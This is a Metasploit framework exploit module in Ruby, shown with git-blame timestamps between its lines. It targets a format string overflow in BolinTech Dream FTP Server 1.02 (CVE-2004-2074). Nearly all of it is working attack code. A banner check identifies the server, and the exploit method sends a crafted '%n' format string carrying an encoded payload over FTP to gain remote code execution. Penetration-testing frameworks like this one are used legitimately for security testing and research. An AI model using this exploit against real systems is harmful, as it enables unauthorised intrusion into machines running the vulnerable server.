2009-12-15 18:47:29 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GoodRanking
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'BolinTech Dream FTP Server 1.02 Format String',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a format string overflow in the BolinTech
|
|
|
|
Dream FTP Server version 1.02. Based on the exploit by SkyLined.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-2074'],
|
|
|
|
[ 'OSVDB', '4986'],
|
|
|
|
[ 'BID', '9800'],
|
|
|
|
[ 'EDB', '823']
|
|
|
|
],
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
|
|
|
|
[
|
|
|
|
'Dream FTP Server v1.02 Universal',
|
|
|
|
{
|
|
|
|
'Offset' => 3957680, # 0x3c63ff-0x4f
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 03 2004',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(21),
|
|
|
|
], self.class)
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
connect
|
2014-06-28 21:05:05 +00:00
|
|
|
banner = sock.get_once
|
2013-08-30 21:28:54 +00:00
|
|
|
disconnect
|
2014-06-28 21:05:05 +00:00
|
|
|
if (banner.to_s =~ /Dream FTP Server/)
|
2014-01-21 17:07:03 +00:00
|
|
|
return Exploit::CheckCode::Detected
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
select(nil,nil,nil,0.25)
|
|
|
|
sploit = "\xeb\x29"
|
|
|
|
sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
|
|
|
|
sploit << "@@@@@@@@" + payload.encoded
|
|
|
|
sock.put(sploit + "\r\n")
|
|
|
|
select(nil,nil,nil,0.25)
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|